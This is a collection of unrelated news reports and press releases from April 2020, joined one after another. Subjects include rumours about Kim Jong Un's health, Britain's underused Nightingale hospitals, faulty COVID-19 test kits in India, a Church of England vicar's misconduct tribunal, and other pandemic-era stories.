leader Kim Jong Un visits to a pursuit assault plane group under the Air and Anti-Aircraft Division in the western area By Hyonhee Shin and Josh Smith SEOUL (Reuters) - South Korean officials emphasise they have detected no unusual movements in North Korea and caution against reports that North Korean leader Kim Jong Un may be ill or is being isolated because of coronavirus concerns. At a closed-door forum on Sunday, South Korea's Unification Minister Kim Yeon-chul, who oversees North Korea engagement, said Seoul had the intelligence capabilities to say with confidence there were no indications of anything unusual. Rumours and speculation over Kim Jong Un's health began after he did not appear in public at a key state holiday on April 15. He has since remained out of sight. Experts have cautioned that Kim has disappeared from state media coverage before, and that gathering accurate information in North Korea is difficult. South Korean media last week reported that Kim may have undergone cardiovascular surgery, or was in isolation to avoid exposure to the coronavirus. Unification Minister Kim cast doubt on the report of surgery, arguing that the hospital mentioned did not have the capabilities for such an operation. Still, Yoon Sang-hyun, chairman of the foreign and unification committee in South Korea's National Assembly, told a gathering of experts on Monday that Kim Jong Un's absence from the public eye suggests "he has not been working as normally". "There has not been any report showing he's making policy decisions as usual since April 11, which leads us to assume that he is either sick or being isolated because of coronavirus concerns," Yoon said. North Korea has said it has no confirmed cases of the new coronavirus, but some international experts have cast doubt on that assertion. South Korean President Moon Jae-in vowed on Monday to step up cooperation to help North Korea prevent the spread of the coronavirus but made no mention of Kim's health or whereabouts. "I will find a path for the most realistic and practical inter-Korean cooperation," Moon told a meeting with senior aides on the second anniversary of his first summit with Kim. Story continues "The COVID-19 crisis could mean a new opportunity for inter-Korean cooperation, and that's the most urgent and pressing task." 'ALIVE AND WELL' North Korea's state media last reported on Kim's whereabouts when he presided over a meeting on April 11. On Monday, it once again showed no new photos of Kim or reports on his whereabouts. However, it did say he had sent a message of gratitude to workers building a tourist resort in Wonsan, an area where some South Korean media reports have said Kim may be staying. Moon Chung-in, a top foreign policy adviser to South Korean President Moon, told U.S. news outlets that the South Korean government's position was "firm" - that "Kim Jong Un is alive and well." "He has been staying in the Wonsan area since April 13. No suspicious movements have so far been detected," Moon said. In Washington, a U.S. official appeared to back the South Korean government officials' assessment about Kim, as well as their admonition against speculation. "That's good advice. The media should take what they're saying seriously," said the official, speaking on condition of anonymity. An authoritative source familiar with U.S. intelligence reporting said it was entirely possible Kim had disappeared from public view to avoid exposure to COVID-19 and the sighting of his presidential train in Wonsan did suggest he may be there or have been there recently. But the source said that since there was no authoritative backing for such a conclusion, U.S. agencies were also still considering the possibility Kim might be ill, even seriously. 38 North, a Washington-based North Korea monitoring project, said on Saturday that satellite images from last week showed a special train that was probably Kim's at Wonsan, lending weight to those reports. Kim Byung-kee, a former intelligence official and now a member of South Korea's parliamentary intelligence committee, urged caution on speculation and said there was little possibility that Kim was ill and predicted he would make a "surprise comeback soon." A Unification Ministry spokeswoman said she had nothing to confirm when asked about reports that Kim was in Wonsan. Last week, China dispatched a team to North Korea including medical experts to advise on Kim Jong Un, according to three people familiar with the situation. Reuters was unable to immediately determine what the trip by the Chinese team signalled in terms of Kim's health. When asked about the Reuters report on the medical team, China's foreign ministry said it had no information to offer on Kim. Kim, believed to be 36, vanished from state media for more than a month in 2014 and North Korean state TV later showed him walking with a limp. (Reporting by Josh Smith, Sangmi Cha, and Hyonhee Shin, additional reporting by Matt Spetalnick Ansd Mark Hosenball in Washington; Writing by Josh Smith and David Brunnstrom; Editing by Michael Perry, Raju Gopalakrishnan and Howard Goller) (ANSAmed) - TUNIS, APRIL 28 - The recent announcement in triumphant tones by the association "Shams - for the decriminalisation of homosexuality in Tunisia" that the Tunisian government had recognised gay marriage for the first time ever has set off a lively debate punctuated by controversy. "The marriage contract between a 31-year-old French citizen and a 26-year-old Tunisian, established in France, was recognised in Tunisia, which recorded it at the registry office," said Shams. "This fact heads in the right direction for establishing the principle of individual free will and the principle of equality and non-discrimination," it said. But while some, including the progressive fringes of society, favourably welcomed the news, the more traditional strongly criticised it and immediately threw into doubt the accuracy of the news, inviting Shams to publish documents to prove it. Homosexuality is still a crime in Tunisia, punishable with up to three years of prison. The president of Shams, attorney Mounir Baatour, who currently lives in Marseille, France, following death threats he received after his denied attempt to run for president in Tunisia, confirmed to ANSA that the news is authentic. He said the public prosecutor can no longer contest the registration of the contract because the time to file an appeal has already expired. However, a widely circulating theory is that the registration wasn't a deliberate act of the Tunisian government but rather a simple administrative error. The Tunisian minister for local affairs, Lofti Zitoun, when asked about the case, said Tunisia has no intention of recognising same-sex marriage. Zitoun said he knew nothing about the case but that he would look into it immediately. He said the presumed registration would have taken place by mistake and that it wouldn't be the first time that had happened in Tunisia, given that a similar case had occurred before in the capital. Attorney Giorgio Bianco of Giambrone Law, which also operates in Tunisia, told ANSA, "Unfortunately the regulation isn't that clear or express, but one can easily deduce that it can't be applied". "Given that the news reported by Shams has thus far been denied by authorities, and that as a result one can only comment on a hypothetical situation, not one that is currently certain, the evident error committed by Tunisian consular or registry authorities doesn't constitute on its own a first step towards the recognition of civil unions or same-sex marriages in Tunisia," Bianco said. "In fact, it's not in any way a legal recognition of the interpretation of the Tunisian law that could possibly influence the country's future policy on the issue, but rather an administrative error that turns out to be contrary to Tunisian constitutional values," Bianco said.(ANSAmed). Britain's near-empty Nightingale wards could be filled with the majority of Britain's coronavirus patients in order to make the UK's permanent hospitals 'Covid-free zones'. Health Secretary Matt Hancock is planning to reopen key areas of the NHS for routine care - including cancer treatment starting from today. Five of the seven planned Nightingale hospitals set up in warehouses and exhibition centres have opened so far - but the largest in east London only had 26 patients last week despite having 3,500 beds. Birmingham's has had no patients at all. Ministers are now considering moving as many non-critical coronavirus cases as possible to the temporary wards built in every region over the past month. Experts believe that up to 13,000 beds could be freed up in Britain's permanent hospitals, which would become 'Covid-free zones', according to The Times. Five of the seven Nightingales have opened, including Bristol yesterday, with Sunderland and Exeter yet to come online. The NHS could move all covid patients there to clear Covid-19 from permanent hospitals The new NHS Nightingale Hospital Yorkshire and Humber in Harrogate opened last week - but is largely empty Minuscule numbers of patients are currently being cared for in the Nightingale hospitals because they lack the specialist staff and equipment, doctors have claimed. Less than a 100 are claimed to be in them - despite the NHS saying it is caring for 15,051 coronavirus patients. In Birmingham, the Nightingale set up inside the National Exhibition Centre more than a fortnight ago, with the potential to take up to 4,000 patients, has not yet been needed. In Sunderland, a 460-bed, 20-ward facility may never open. 'We're seeing a diminishing plateau of Covid cases,' said consultant Richard Breeze, head of the intensive care unit at Lewisham Hospital, South-East London. 'I would be surprised if there was anyone at all in the [London] Nightingale quite soon.' There are thought to be 26 patients currently at the hospital. MPs call for elderly coronavirus patients in care homes to be treated in empty Nightingale hospitals Elderly coronavirus patients in care homes should be evacuated to the empty Nightingale hospitals, MP demanded yesterday. At least 7,500 elderly residents have died from coronavirus amidst warnings that the virus was a potential disaster for the caring sector. Labour's shadow minister for care and older people, Liz Kendall, is urging the Government not to waste any more time and to use empty Nightingale hospitals to stop the virus spreading among 500,000 residents and staff. Ms Kendall said: 'We have to provide alternative care. There's a real urgent need to look at any spare capacity there is at facilities like the Nightingale hospitals to see if they can care for residents. 'Care home staff are being asked to do extraordinary things. They're very skilled - but we need to make sure that care homes are not turned into hospices because that's not what they are there for.' Advertisement The 'empty beds' narrative has led to unease among some doctors and nurses, as well as managers, who believe the Nightingales have already become 'white elephants'. 'They're a waste of money,' one nurse told us. Another added: 'It's all very well having a buffer but the pressure it puts on NHS funding might mean the money would be better spent on areas more directly involved in fighting the virus.' One medic told the Financial Times the ExCel facility was 'meant to exist to offload patients' from permanent hospitals in the capital but this has never happened, adding: 'When you've got something that doesn't do that it's a waste of resources. It feels like they're just cherry picking those patients less likely to die'. Another intensive care doctor claimed that the same Nightingale hospital can only care for people requiring a ventilator, but if they require any other specialist support they would need to go elsewhere. It came as the fifth of seven planned Nightingale hospitals opened in Bristol yesterday and it emerged that not a single patient has been treated at the Nightingale 100 miles away in Birmingham while the hastily constructed facility in Sunderland may never open at all. On Sunday it was revealed that just 26 patients were treated at the flagship Nightingale in east London last week, down from a peak of 41 - it can take 3,600 people - and there are growing calls for the elderly to be moved there from hospital to recover from Covid-19. Matt Hancock announced yesterday that the most urgent NHS services will restart from today. He stressed that the NHS is 'open' and asked the public to 'help us help you'. Noting that A&E attendances were down by more than 50 per cent last week, Mr Hancock used the daily government briefing to tell those who are unwell to seek help as they normally would. He said: 'We now have the capacity in the NHS to be able to start reopening some services. It will be locally determined -b ut our message is that the NHS is open, and there to help you as it always is'. Matt Hancock said that key parts of the health service, which had been paused due to doctors and nurses being transferred COVID-19-related departments, will begin seeing the most urgent cases at the government's coronavirus briefing today The number of new cases continued to rise in the latest data, but the rate has slowed significantly The number of people in hospital with coronavirus in London has fallen but the figures across much of the rest of the country have not dropped sharply yet Patients are thought to be staying away from hospital for fear of burdening the health service or because they are frightened of catching the virus. The Daily Mail has reported warnings from Cancer Research UK that as many as 2,700 cancers a week may have gone undiagnosed amid the coronavirus crisis. As the daily death toll fell to 360, Mr Hancock said yesterday: 'Our message is that the NHS is open help us to help you. If you are worried about chest pains for instance, maybe you might be having a heart attack or a stroke or you feel a lump and you are worried about cancer... please come forward and seek help as you always would. 'It's so important that everybody uses the NHS responsibly, and the NHS will always be there for you when you need it.' NHS England sent out guidelines last month telling doctors to prioritise cancer cases depending on urgency. In one example of the pressures on the health service, Barking, Havering and Redbridge NHS Trust in London temporarily suspended all operations and chemotherapy for cancer patients. Professor Karol Sikora, a cancer specialist, previously warned the outbreak could result in 50,000 cancer deaths. He told BBC Breakfast today 'we've got to get going again' on cancer treatments in the health service to avoid a 'catastrophe'. He said: 'The NHS has done fantastically well with Covid, now we have to come out of Covid mode, maintaining it, because we don't quite know what's going to happen, but let's get started on two things that are critical: cancer services and heart services. 'Those are the two key things we have to deal with urgently. 'The problem for cancer is going to be bottlenecks. The whole of April's new patients are going to meet May's new patients... and all those people are going to need chemotherapy, radiotherapy, other management downstream - and that's where logistic problems will come. 'We've got to get going again to avoid a catastrophe in a year or two's time when patients will suffer poor outcomes from their cancer because of delays.' Mr Hancock said that the restoration of NHS services is set to begin with the most urgent treatment, including cancer care and mental health support. It has previously been suggested that the largely unused Nightingale hospitals, built to provide extra capacity for coronavirus patients, could be used for cancer treatment. The 3,600 capacity Nightingale in London, built by the Army (picture), had 26 patients last week with doctors claiming the setup has made them a 'waste of resources' Mr Hancock said services could come back as hospitalisations from coronavirus are falling. So too are deaths in hospital, with the figure of 360 the lowest recorded since March 30. Numbers reported at the start of the week are always artificially lower because there are fewer notifications of deaths at the weekend. But Chief Medical Officer Professor Chris Whitty said the overall trend is indeed showing a 'gradual decline' in deaths, although not every part of the country is yet fully past the peak. Dr Thomas House, of the University of Manchester, said: 'We have been seeing encouraging figures for hospital admissions and now we are seeing a clear improvement in the thing we all really care about deaths in hospital from coronavirus. 'At a time when some people may feel as if they are close to breaking point with the lockdown, maybe they can now see that this is really getting us somewhere.' However, Mr Hancock expressed concern about falling numbers in A&E, with only 221,000 attendances last week, compared to 447,000 in the same period last year. While fewer road accidents and people staying at home more may be part of the reason, he said: 'We also know that fewer people are coming to the NHS when they need to.' Professor Whitty yesterday said that the virus has a 'very long way to run' and that deaths will exceed the 21,092 who have so far died in the first wave. PR-Inside.com: 2020-04-28 14:30:07 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 679 Words ACCESSWIRE News Network888.952.4446 JAKARTA, INDONESIA & DANVILLE, CA / ACCESSWIRE / April 28, 2020 / Indonesia Energy Corporation Limited (NYSE American:INDO) (IEC), an oil and gas exploration and production company focused on Indonesia, today announced that Noble Capital Markets (Noble) initiated equity research coverage on Indonesia Energy Corporation with a price target of $6.00 and a market rating of " Outperform." The Noble publishing Senior Research Analyst is Michael Heim. The full report is at www.channelchek.com (NYSE American:INDO in the "Chek the Channels" search box) or go to the direct link at: www.channelchek.com/news-channel/Research_Initiation___Indonesia_Energy_Corp__INDO____Positioned_To_Weather_The_Storm About Indonesia Energy Corporation LimitedIndonesia Energy Corporation Limited (NYSE American:INDO) is a publicly-traded energy company engaged in the acquisition and development of strategic energy projects in Indonesia. IEC's principal assets are its Kruh Block (63,000 acres) located onshore on the Island of Sumatra in Indonesia and its Citarum Block (1,000,000 acres) located onshore on the Island of Java in Indonesia. IEC is headquartered in Jakarta, Indonesia and has a representative office in Danville, California. For more information on IEC, please visit www.indo-energy.com About Channelchek.com In 2018, Noble Financial Group, Inc. launched Channelchek - a new investment community dedicated exclusively to small and micro-cap companies and their industries. Channelchek is tailored to meet the needs of self-directed investors and financial professionals. As the first service to offer institutional-quality research to the public, for FREE at every level without a subscription, Channelchek lists more than 6,000 emerging growth companies alongside growing content, including webcasts, podcasts, and balanced news.Readers are cautioned that all reports on IEC prepared by analysts represent the views of such analysts only and are not necessarily those of IEC. IEC is not responsible for the content or accuracy of any information provided by analysts.Cautionary Statement Regarding Forward-Looking StatementsAll statements in this press release and in the material referred and linked to herein of Indonesia Energy Corporation Limited ("IEC") and its representatives and partners that are not based on historical fact are "forward-looking statements" within the meaning of the Private Securities Litigation Reform Act of 1995 and the provisions of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended (the "Acts"). In particular, when used in this press release and such presentation, the words "estimates," "believes," "hopes," "expects," "intends," "plans," "anticipates," or "may," and similar conditional expressions are intended to identify forward-looking statements within the meaning of the Acts, and are subject to the safe harbor created by the Acts. Any statements made in this news release other than those of historical fact, about an action, event or development, are forward-looking statements. While management has based any forward-looking statements contained herein on its current expectations, the information on which such expectations were based may change. These forward-looking statements rely on a number of assumptions concerning future events and are subject to a number of significant risks, uncertainties, and other factors, many of which are outside of the IEC's control, that could cause actual results (including, without limitation, the anticipated results of IEC's 2020 exploration and production activities and the impact of global oil prices and the novel coronavirus outbreak) to materially and adversely differ from such statements. Such risks, uncertainties, and other factors include, but are not necessarily limited to, those set forth in the Risk Factors section of the Company's registration statement and related prospectus for the IEC's initial public offering filed with the Securities and Exchange Commission (SEC). Copies are of such documents are available on the SEC's website, www.sec.gov . IEC undertakes no obligation to update these statements for revisions or changes after the date of this release, except as required by law.CONTACT:Company Contact:Frank C. IngriselliPresident, Indonesia Energy Corporation LimitedPublic Relations Contact:MJ ClyburnTraDigital IRPhone: +1 (212) 389-9782 x 101clyburn@ tradigitalir.com SOURCE: Indonesia Energy Corporation Limited PremierState, which counts among staff former Liberal MP Fiona Scott and ex-Gillard government press secretary Darrin Barnett , has recently signed on the car dealership industry association and the cinema operators lobby, chaired by former Event Hospitality boss David Seargeant . PremierState chairman Michael Photios , a prominent Liberal Party-aligned lobbyist, even wrote to clients on Sunday telling them his outfit was "on a war footing" and had "expanded our operating hours to a 7 day/7 night platform to meet the increased demand on our services at this challenging time". Not every industry is doing it tough as the coronavirus pandemic takes its toll. Its been a veritable boon for the countrys lobbyists, who have seen an influx of new clients trying their luck with various state and federal government incentives. Then theres Botany Bay terminal operator DP World, whose facilities sit empty but who continue to pay fees, and ride-sharing app Uber. All four have signed on within the last month, according to the register of lobbyists. Over at Newgate Australia, run by Sydney Swans director Brian Tyson, things are similarly positive. The lobby shop, for the record, is now explicitly spruiking COVID-19 support among its suite of services. The most significant new signings, according to the register, is Wesfarmers hardware chain Bunnings, followed shortly by its stationery arm Officeworks. Both have lobbied to stay open during the coronavirus pandemic. In the last month Newgate has also picked up Don Meij's Domino's Pizza as a client, according to the register, as well as car rental outfit Hertz. Then theres Cornerstone Group, run by Liberal Party-aligned lobbyist Joe Tannous, which has brought in meal delivery service Menulog as a client. Tannous counts among his operators former Labor leader Simon Crean and Chris Bowen's former chief-of-staff James Cullen. "Its business as usual for a lot of companies, but the government has less bandwidth [to deal with issues] and so some things are on hold," one lobbyist told CBD on Tuesday. "And then there are those clients who havent had exposure to government and suddenly, they need to." A married Church of England vicar has been fired after trying to hush up claims that he was cheating on his wife with a local mother. Married father Rev William Bulloch, 51, known affectionately as Father Bill, was accused of having impregnating the besotted mother-of-three on a sofa at her home. A church tribunal in January agreed that the woman had failed to prove her allegations against the vicar in the 'complex and distressing case' and he was saved from being defrocked. Married father Rev William Bulloch, 51, (pictured) known affectionately as Father Bill, was accused of having impregnating the besotted mother-of-three on a sofa at her home She also pretended to have a terminal illness and said her 'dying wish' would be to live with Rev Bulloch and his family. It was after he discovered she was lying, when he saw her walking around unaided in a hospital, that he told her he wouldn't be able to continue giving her pastoral care. She then claimed the vicar impregnated her and reported him to a Church of England tribunal. But Rev Bulloch, vicar of St James the Great, Leigh-on-Sea, Essex, has now been fired from the parish for lying to his bosses by downplaying the relationship he had with the woman. Rev Bulloch (pictured with his wife), vicar of St James the Great, Leigh-on-Sea, Essex, has now been fired from the parish for lying to his bosses by downplaying the relationship he had with the woman A misconduct panel has ruled he and his family must leave the vicarage once lockdown is over. Removing him from office, tribunal chairman His Honour the Revd Mark Bishop said: 'It is impossible for the Respondent to continue with a priestly ministry in this parish. 'The misconduct has fundamentally undermined his work as a priest in this parish.' Church bosses said the vicar snapped after the woman sent him 'crude and abusive emails alleging things that they had done in graphic detail'. Rev Bulloch, vicar of St James the Great, Leigh-on-Sea, Essex, has now been fired from the parish for lying to his bosses by downplaying the relationship he had with the woman. A misconduct panel has ruled he and his family must leave the vicarage once lockdown is over In one threatening message she claimed to be pregnant by the vicar and have a video of them having sex on her sofa. She wrote: 'I do not want to cause you trouble or your wife but you are a priest and have slept with me several times, allowed me to fall in love with you and have sex. 'And as a result this terrible awful thing has happened.' She went on to allege that she had footage of her performing oral sex on the vicar. He replied: 'You are threatening me with blackmail over something that is impossible. 'I have been nothing by kind to you and do not know why you would treat me this way. 'If you have anything to say, say it now, I will not be speaking to you again after tonight.' The tribunal heard the vicar and the woman became close when she pretended to be dying from a terminal illness. The tribunal heard the vicar and the woman became close when she pretended to be dying from a terminal illness She faked emails from medics begging the vicar to grant her 'dying wish' to spend her last days with a family. The vicar allowed her to move into the vicarage with his wife and children. She showered the vicar and his wife with expensive and bizarre gifts, including a whole pig's head. She wore an oxygen mask and morphine patches and claimed she was confined to a wheelchair. The vicar only realised he had been hoodwinked when he spotted her walking unaided in a local hospital. The tribunal heard that in January 2017, shortly after AB had asked the vicar to tell her seven-year-old daughter that she as about to die, he saw her walking in a hospital unaided. He confronted AB but later received emails from a cardiologist called Dr Khokhar at Southend Hospital proving a medical explanation for this and confirming that AB was terminally ill. Mr Bulloch emailed the real Dr Khokhar who said that had not written the email which prompted him to tell AB that he could not longer have contact with her. Mrs Bulloch later claimed that it was this stage that AB had threatened to tell people that she had sex with her husband if he did not continue to be her priest. The Rev Bulloch, vicar of St James the Great, Leigh-on-Sea, Essex, pictured, became suspicious of the 'dying' and wheel-chair bound parishioner after seen her walking around a hospital She moved back to her own house and later claimed the vicar had sex with her there times and got her pregnant. She sent the recordings and alleged sex tape to his superiors in 2017 after he refused to act as her priest any longer. When the vicar's superiors viewed the video they said nothing could be seen or heard on it. Likewise, no proof of a baby was ever produced. The vicar denied having a sexual relationship with a woman, referred to only as 'AB', and was cleared by majority verdict. But he admitted failing to seek the advice of the diocese after refusing to provide her with pastoral support. He also admitted subsequently using 'foul and obscene language' in conversations with her. He must complete an anger management course within six months of returning to the ministry and training in safeguarding and respecting boundaries. Mr Bishop, who chaired The Bishop's Disciplinary Tribunal, said the vicar 'had acted extremely naively'. ' For a priest to act without a proper sense of boundaries in a pastoral relationship amounts to misconduct,' he added.' He should have involved the diocesan authorities in her care and fully disclosed what had happened. 'Instead, he did not tell the diocesan authorities, and when they did ask him about it, he minimised the contact that he had with her and did not tell the truth to the Archdeacon in November 2017.' A Chelmsford Diocese spokesperson said: 'This has been a complex and distressing case.' The Diocese of Chelmsford takes all disciplinary issues very seriously and is following Policy and Practice guidance. We ask for prayers for all those affected by this case.' The Rev Bulloch has been contacted for comment. Well, that's just great. Yesterday's leak from the Government which admitted the onerous lockdown restrictions won't actually be lifted by May 5 as initially promised, but will be extended for at least two more weeks, gave us all a rather depressing start to the week. On one level, maintaining such strict rules on our freedom of movement can be defended on the grounds that 1,102 people have lost their lives to the virus in this country, and there have been 19,648 recorded cases of infection. It goes without saying that too many people have been killed by Covid-19. This pandemic has swept the world and taken everyone by surprise. In fact, it feels as if we're all wandering around in a state of shock. It is also true and only fair to point out that this caretaker Government, which has limited constitutional powers, has done a better job than we could have expected from it. But only to a point. The announcement that the restrictions will more than likely carry on until June, and possibly even longer, will have caused further distress for the tens of thousands of Irish people who are stuck at home and climbing the walls. These restrictions, lest we forget, have been in place since the beginning of March. In that time, we cancelled St Patrick's Day and pretended Easter didn't happen. And here's the thing - we get it. If anything ever proved that the Irish are an inherently sensible and decent bunch, the last six weeks have seen the best of us. The frontline workers have been brilliant, which comes as no surprise. The rest of us have also been sensible and responsible, which is a reminder that, when push comes to shove, we're not that bad. In years to come, the vast majority of us will be able to look at our own reflection and know we all tried to the do the right thing. But patience is a finite resource and as we look at other countries around Europe which are beginning to lift their restrictions, we are entitled to argue that enough is enough and we need to get back to some semblance of normality. The good weather, which coincided with our lockdown, has been both a boon and a curse. No Irish person is ever going to complain about some sunshine, but as glorious as some recent days have been, they're also a fiendishly tantalising reminder of what life is like in the outdoors. So, we remain cocooned in our sitting rooms despite the good weather and, remarkably, we accept it. We understand the arguments. We comprehend that even if we feel fine, we might carry the risk of spreading infection. Everyone I know is more afraid of passing the disease to someone else than they are of actually contracting it, which is a noble response and one which does great service to the nation. With only a few exceptions, we have all been good citizens - but this cannot carry on for much longer. Across Europe, various political leaders have realised they cannot continue to keep their own citizens under house arrest. Denmark has eased its restrictions and, from tomorrow, children will be allowed back to school and nurseries. Austria has allowed shops to reopen from today, and the next few weeks will see a gradual reopening of bars, hotels and restaurants. In Bulgaria, this week sees the return of farmers' markets. Spain, which alongside Italy has been the worst-hit of the European countries, has announced that non-essential workers can return to their place of employment as long as they wear masks. In other words, progress is being made because progress has to be made. Here on our little rock off the coast of Europe, however, we're enduring a different scenario. There's one school of thought within the HSE which suggests we shouldn't leave lockdown until we can test at least 100,000 people a week which, on current performance, means we might as well get used to never leaving our houses again while relying on the government subsidy of 350 a week. Not only is that emotionally unbearable for the people, it is simply unsustainable for the Exchequer. Despite the Greens' latest pie-in-the-sky idea of a Universal Basic Income (imported from Finland, where it has already proved to be disastrous) the State doesn't have a magic money tree. The reality is this: the country is slowly dying. 50,000 bar staff have lost their jobs and most of these jobs will never come back. The hospitality trade is just one example of how this shutdown is killing the soul of the country. We're hearing a lot of the fatuous sentiment that if the lockdown 'saves one life then it will have been worth it'. Actually, that's just not true. You cannot sacrifice a million real jobs for a hypothetical one life. If you take that logic to its conclusion, none of us should ever drive a car again, because if staying off the roads 'saves one life it will be worth it'. This is a time of national crisis. But to further extend the restrictions will merely compound the profound damage that has already been inflicted on us as both an economy and a society. People are prepared to be good citizens working for the greater good until May 5. From May 6, however, I predict a different scenario, where the mood will become much more mutinous than it has been. LONDON (Reuters) - Families of British health and care workers who die on the frontline of the COVID-19 pandemic will be paid 60,000 pounds as part of a new life assurance scheme, Health Secretary Matt Hancock said on Monday. Britain has one of the world's highest death tolls - 21,092 hospital deaths and thousands more yet to be quantified in care homes. Among those, 98 health and care service workers are known to have died after testing positive for the virus, Hancock said. "The government is setting up a life assurance scheme for NHS (National Health Service) and social care frontline colleagues," Hancock said. "Families of staff who die from coronavirus in the course of their essential frontline work will receive a 60,000-pound payment." The scheme is aimed at families of those who die from coronavirus during the course of essential and life-saving work, and includes those providing direct care as well as cleaners and porters. It only applies to workers in England, but devolved administrations in Scotland, Northern Ireland and Wales will receive central government funding for similar programmes. The government has put thousands of recently retired medical staff back into action and fast-tracked final-year students to the front line to cope with the surge in demand for health services during the outbreak. (Reporting by William James and Estelle Shirbon, writing by Alistair Smout; editing by Stephen Addison) Sumi Sukanya dutta By Express News Service NEW DELHI: The Centre on Monday asked states to return the rapid antibody testing kits for Covid-19 distributed to them while making it official that the kits procured from two Chinese companies have been found faulty, and that the orders have been cancelled. The decision came following a meeting between Prime Minister Narendra Modi, Union health secretary Preeti Sudan and the head of Indian Council of Medical Research (ICMR), Dr Balram Bhargava, said sources. The development comes even as a massive controversy has broken out over the pricing at which the ICMR under the Union health ministry had struck the deal to procure 5.5 lakh kits at Rs 600 each. Several states have procured rapid antibody kits and on their demand, ICMR has also provided these kits with clear instructions that they are to be used only for surveillance purpose, a letter issued by the ICMR to states said. Some states have raised issues regarding their performance during the testing exercise that they have undertaken. ICMR thereafter has also evaluated the kits from Guangzhou Wondfo and Livzon in field conditions. The results have shown wide variation in their sensitivity despite the early promise of good performance for surveillance, it added. A legal dispute in Delhi High Court between the distributor and importer of rapid test kits exposed their purported profiteering in kits sold to the Indian government. Observing that 61% mark-up on such test kits is on the higher side but more than sufficient, the court disallowed a 145% profit from the landed price of Rs 245 to ICMRs purchase price of Rs 600 per test and slashed it to Rs 400. The health ministry, in a detailed clarification on Monday, explained why it decided to go to Wondfos exclusive distributor for India for the kit and the problems it found (see box). The Centre said this was the first-ever effort by any Indian agency to procure such kits and the rate quoted by the bidders was the only reference point.ICMR has not made any payment, said the ministry, and the government does not stand to lose a single rupee. ICMRs side of the story ICMR identifies two companies, Biomedemics and Wondfo, with international certifications, for procurement of rapid antibody test kits For Wondfo, evaluation committee got 4 bids with Rs 1,204, Rs 1,200, Rs 844 and Rs 600 as price quotes. It picked Rs 600 offer on top of the list ICMR also tries to procure kits directly from Wondfo. But quotation received for direct procurement had the various issues Quotation did not have a commitment on logistics; was on 100% direct advance without guarantees; rates in US dollars without any clause on price fluctuation So, ICMR approached Wondfos exclusive distributor for India, who quoted an all-inclusive Free on Board (logistics) price without advance payment After receipt of supplies, ICMR conducts quality checks on the kits in field conditions. Wondfo and another supplier Livzons kits found under-performing, orders cancelled Since ICMR did not opt for procurement with 100% advance payment, the govt will not lose even a single rupee Reality television star Ashutosh Kaushik married Aligarh-based Arpita in a low-key ceremony on Sunday, amid the lockdown. The wedding took place on the terrace of his home in Noida Sector 100 and was attended by just four people - the grooms mother and sister, and the brides mother and brother. Ashutosh, who is the winner of Roadies season 5 and Bigg Boss season 2, has donated the money saved up for the wedding to the Prime Ministers Citizen Assistance and Relief in Emergency Situations (PM-Cares) fund. However, he has not disclosed the amount donated by him. In videos shared by Ashutosh on his Facebook page, he and Arpita are seen taking the pheras on his terrace, as a priest wearing a mask and gloves solemnised the wedding. Also see: Karan Johars son Yash is fed up, daughter Roohi threatens to leave the house. Watch hilarious video Shaadi ek bohot personal matter hai... Toh isme kyun bheed, gaana-bajaana, dhol-nagade? Aapke personal matter ke liye kyun itna waste aur kharcha karna? Mera yeh maanna hai ki usse gharwalon ke beech mein hi kariye (Marriage is a very personal matter. So why have a crowd, music and dance? I feel a wedding should take place in the presence of family members only), he told TellyTalk in an interview. Ashutosh confirmed his contribution to the PM-Cares fund and shared that he also donates his earnings from his YouTube channel to charity. Maine PM fund mein woh donate kiye aur doosra yeh hai ki main jo YouTube channel chalata hoon Ashutosh Kaushik ke naam se, usse jo earnings aati hai, usse bhi main charity karta hoon (I donated the amount to the PM-Cares fund. Secondly, whatever I earn from the YouTube channel run by me, also goes to charity), he told the website. Post Bigg Boss season 2, Ashutosh has acted in Bollywood films such as Kismat Love Paisa Dilli, Shortcut Romeo and Zila Ghaziabad. Follow @htshowbiz for more WASHINGTON Attorney General William Barr on Monday ordered federal prosecutors across the U.S. to identify coronavirus-related restrictions from state and local governments that could be violating the constitutional rights and civil liberties of individual citizens. The memo to U.S. attorneys directs the head of the Justice Department's civil rights division and the U.S. attorney for the Eastern District of Michigan to coordinate the department's efforts to monitor state and local policies and take action if needed. "If a state or local ordinance crosses the line from an appropriate exercise of authority to stop the spread of COVID-19 into an overbearing infringement of constitutional and statutory protections, the Department of Justice may have an obligation to address that overreach in federal court." Barr's memo comes about two weeks after the Justice Department filed a statement of interest in a civil case in Mississippi, siding with a Christian church where local officials had tried to stop Holy Week services broadcast to congregants sitting in their cars in the parking lot. The directive also comes as many stay-at-home orders are set to expire and governors eager to rescue their economies are moving to ease restrictions meant to control the spread of the coronavirus, even as new hot spots emerge and experts warn that moving too fast could prove disastrous. At the same time, protesters have staged demonstrations against stay-at-home orders, and in recent weeks, President Donald Trump has urged supporters to "liberate" three states led by Democratic governors. The Justice Department argued in the Mississippi filing that officials in Greenville appeared to be targeting religious conduct by singling churches out as the only essential service, as designated by the state of Mississippi, that may not operate despite following all Centers for Disease Control and Prevention and state recommendations regarding social distancing. In an interview with radio host Hugh Hewitt last week, Barr said the Justice Department could support legal action against states that impose strict measures as the number of coronavirus cases begins to subside. "The idea that you have to stay in your house is disturbingly close to house arrest," Barr said. "I'm not saying it wasn't justified. I'm not saying in some places it might still be justified. But it's very onerous, as is shutting down your livelihood." Barr said he believes there is a sufficient basis for social distancing rules that have been put in place, but he has cautioned that there may be concern if the restrictive measures continue too long. He has said the U.S. must find a way to allow business to adapt and reopen. I think we have to allow people to figure out ways of getting back to work and keep their workers and customers safe, Barr said in an interview with Fox News earlier this month. Im not suggesting we stop social distancing overnight. There may come a time where we have to worry less about that. For most people, the coronavirus causes mild or moderate symptoms, such as fever and cough, that clear up in two to three weeks. For some, especially older adults and people with existing health problems, it can cause more severe illness, including pneumonia, and death. The vast majority of people recover. Michael Balsamo of The Associated Press wrote this story. Married At First Sight's Stacey Hampton has defended her frequent domestic flights between Adelaide and Melbourne during the coronavirus pandemic. Since March 21, the law graduate turned influencer, 26, has flown almost 6,000km on four round trips - but she insists they are all 'essential travel'. Stacey told Daily Mail Australia she has been following the government's advice on business trips and self-isolating in hotels during any downtime. Work trips? Married At First Sight's Stacey Hampton has defended her frequent domestic flights from Adelaide to Melbourne during the coronavirus pandemic. Pictured on April 14 'I've been travelling to Melbourne for my charity and I also do essential service work for a transport company every second week,' Stacey said on Tuesday. 'I'm only travelling to and from business locations, otherwise I'm isolating in my hotel until I return. I do the legal and accounts for the transport company [in 